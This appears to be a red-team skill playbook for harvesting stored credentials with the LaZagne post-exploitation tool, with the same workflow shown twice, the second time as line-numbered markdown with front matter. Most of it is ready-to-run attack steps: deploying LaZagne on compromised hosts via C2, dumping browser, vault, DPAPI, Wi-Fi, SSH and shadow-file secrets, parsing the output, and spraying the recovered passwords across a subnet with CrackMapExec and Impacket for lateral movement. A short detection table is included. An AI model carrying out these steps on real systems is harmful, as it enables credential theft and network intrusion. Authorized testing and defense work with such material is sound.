Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
- When conducting security assessments that involve performing credential access with lazagne
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload
# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
- Verify execution capability and privileges:
# Check current user context
whoami /priv
# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials
lazagne.exe all
# Export results to JSON
lazagne.exe all -oJ
# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds
- Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers
# Windows credential stores
lazagne.exe windows
# Database credentials
lazagne.exe databases
# Email client credentials
lazagne.exe mails
# Wi-Fi passwords
lazagne.exe wifi
# Git credentials
lazagne.exe git
# System credentials (requires elevated privileges)
lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction
python3 laZagne.py all
# Browser credentials
python3 laZagne.py browsers
# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin
# Database credentials
python3 laZagne.py databases
# Git credentials
python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json
with open("creds.json") as f:
results = json.load(f)
for module in results:
for entry in module.get("results", []):
print(f"Source: {entry.get('Category')}")
print(f" User: {entry.get('Login', 'N/A')}")
print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
- Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1
- Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
Tools and Resources
| Tool |
Purpose |
Platform |
| LaZagne |
Multi-source credential extraction |
Windows/Linux/macOS |
| Mimikatz |
LSASS/DPAPI credential dumping |
Windows |
| SharpChrome |
Chrome credential extraction (.NET) |
Windows |
| SharpDPAPI |
DPAPI credential decryption |
Windows |
| CrackMapExec |
Credential validation and spraying |
Linux |
| Impacket |
Remote credential testing |
Linux (Python) |
LaZagne Module Coverage (Windows)
| Category |
Modules |
| Browsers |
Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Email |
Outlook, Thunderbird, Foxmail |
| Databases |
PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin |
PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows |
Credential Manager, Vault, DPAPI, Autologon |
| WiFi |
Stored Wi-Fi passwords |
| Git |
Git Credential Store, Git Credential Manager |
| SVN |
TortoiseSVN |
| Chat |
Pidgin, Skype |
Detection Signatures
| Indicator |
Detection Method |
| LaZagne.exe process execution |
EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB |
File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls |
API hooking and ETW tracing |
| Access to Windows Credential Manager |
Event 5379 (Credential Manager read) |
| Mass credential store enumeration |
Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files |
Script block logging and file access auditing |
Validation Criteria
1---
2name: performing-credential-access-with-lazagne
3description: Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords
4 from browsers, databases, system vaults, and applications during authorized red team operations.
5domain: cybersecurity
6subdomain: red-teaming
7tags:
8- red-team
9- credential-access
10- lazagne
11- post-exploitation
12- password-recovery
13- credential-dumping
14- lateral-movement
15version: '1.0'
16author: mahipal
17license: Apache-2.0
18d3fend_techniques:
19- File Metadata Consistency Validation
20- Content Format Conversion
21- File Content Analysis
22- Platform Hardening
23- File Format Verification
24nist_csf:
25- ID.RA-01
26- GV.OV-02
27- DE.AE-07
28---
29
30# Performing Credential Access with LaZagne
31
32## Overview
33
34LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
35
36
37## When to Use
38
39- When conducting security assessments that involve performing credential access with lazagne
40- When following incident response procedures for related security events
41- When performing scheduled security testing or auditing activities
42- When validating security controls through hands-on testing
43
44## Prerequisites
45
46- Familiarity with red teaming concepts and tools
47- Access to a test or lab environment for safe execution
48- Python 3.8+ with required dependencies installed
49- Appropriate authorization for any testing activities
50
51## Objectives
52
53- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
54- Extract credentials from all supported password stores
55- Parse and prioritize recovered credentials for lateral movement
56- Identify high-value credentials (domain admin, service accounts, cloud access)
57- Document credential harvesting results with appropriate evidence handling
58- Correlate recovered credentials with BloodHound attack paths
59
60## MITRE ATT&CK Mapping
61
62- **T1555** - Credentials from Password Stores
63- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers
64- **T1555.004** - Credentials from Password Stores: Windows Credential Manager
65- **T1552.001** - Unsecured Credentials: Credentials In Files
66- **T1552.002** - Unsecured Credentials: Credentials in Registry
67- **T1003.004** - OS Credential Dumping: LSA Secrets
68- **T1539** - Steal Web Session Cookie
69
70## Workflow
71
72### Phase 1: LaZagne Deployment
731. Transfer LaZagne to the compromised host:
74 ```powershell
75 # Pre-compiled executable (Windows)
76 # Transfer lazagne.exe via C2 channel or file upload
77
78 # Python version (requires Python on target)
79 git clone https://github.com/AlessandroZ/LaZagne.git
80 cd LaZagne
81 pip install -r requirements.txt
82 ```
832. Verify execution capability and privileges:
84 ```powershell
85 # Check current user context
86 whoami /priv
87
88 # LaZagne works with standard user privileges for user-level stores
89 # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
90 ```
91
92### Phase 2: Full Credential Extraction (Windows)
931. Run LaZagne with all modules:
94 ```powershell
95 # Extract all credentials
96 lazagne.exe all
97
98 # Export results to JSON
99 lazagne.exe all -oJ
100
101 # Export results to specific file
102 lazagne.exe all -oJ -output C:\Temp\creds
103 ```
1042. Run specific modules for targeted extraction:
105 ```powershell
106 # Browsers only (Chrome, Firefox, Edge, Opera, IE)
107 lazagne.exe browsers
108
109 # Windows credential stores
110 lazagne.exe windows
111
112 # Database credentials
113 lazagne.exe databases
114
115 # Email client credentials
116 lazagne.exe mails
117
118 # Wi-Fi passwords
119 lazagne.exe wifi
120
121 # Git credentials
122 lazagne.exe git
123
124 # System credentials (requires elevated privileges)
125 lazagne.exe sysadmin
126 ```
127
128### Phase 3: Credential Extraction (Linux)
1291. Run LaZagne on Linux targets:
130 ```bash
131 # Full extraction
132 python3 laZagne.py all
133
134 # Browser credentials
135 python3 laZagne.py browsers
136
137 # System credentials (SSH keys, shadow file with root)
138 python3 laZagne.py sysadmin
139
140 # Database credentials
141 python3 laZagne.py databases
142
143 # Git credentials
144 python3 laZagne.py git
145 ```
146
147### Phase 4: Credential Analysis and Prioritization
1481. Parse JSON output for unique credentials:
149 ```python
150 import json
151 with open("creds.json") as f:
152 results = json.load(f)
153 for module in results:
154 for entry in module.get("results", []):
155 print(f"Source: {entry.get('Category')}")
156 print(f" User: {entry.get('Login', 'N/A')}")
157 print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
158 ```
1592. Prioritize credentials by value:
160 - Domain credentials (AD accounts) for lateral movement
161 - Cloud service credentials (AWS, Azure, GCP console)
162 - VPN and remote access credentials
163 - Database credentials for data access
164 - Email credentials for business email compromise
165 - Service account credentials for privilege escalation
166
167### Phase 5: Credential Validation and Use
1681. Validate recovered domain credentials:
169 ```bash
170 # Test domain credentials with CrackMapExec
171 crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
172
173 # Test with Impacket
174 smbclient.py domain.local/user:'password'@10.10.10.1
175 ```
1762. Cross-reference with BloodHound paths for high-value targets
1773. Use recovered credentials for lateral movement or privilege escalation
178
179## Tools and Resources
180
181| Tool | Purpose | Platform |
182|------|---------|----------|
183| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |
184| Mimikatz | LSASS/DPAPI credential dumping | Windows |
185| SharpChrome | Chrome credential extraction (.NET) | Windows |
186| SharpDPAPI | DPAPI credential decryption | Windows |
187| CrackMapExec | Credential validation and spraying | Linux |
188| Impacket | Remote credential testing | Linux (Python) |
189
190## LaZagne Module Coverage (Windows)
191
192| Category | Modules |
193|----------|---------|
194| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
195| Email | Outlook, Thunderbird, Foxmail |
196| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |
197| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
198| Windows | Credential Manager, Vault, DPAPI, Autologon |
199| WiFi | Stored Wi-Fi passwords |
200| Git | Git Credential Store, Git Credential Manager |
201| SVN | TortoiseSVN |
202| Chat | Pidgin, Skype |
203
204## Detection Signatures
205
206| Indicator | Detection Method |
207|-----------|-----------------|
208| LaZagne.exe process execution | EDR process monitoring with hash-based detection |
209| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |
210| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |
211| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |
212| Mass credential store enumeration | Behavioral analysis for sequential access patterns |
213| Python interpreter accessing credential files | Script block logging and file access auditing |
214
215## Validation Criteria
216
217- [ ] LaZagne deployed on compromised endpoint
218- [ ] Full credential extraction completed (all modules)
219- [ ] Credentials exported in JSON format for analysis
220- [ ] Recovered credentials parsed and deduplicated
221- [ ] High-value credentials identified and prioritized
222- [ ] Domain credentials validated against AD
223- [ ] Lateral movement opportunities identified from recovered creds
224- [ ] Evidence documented with appropriate handling procedures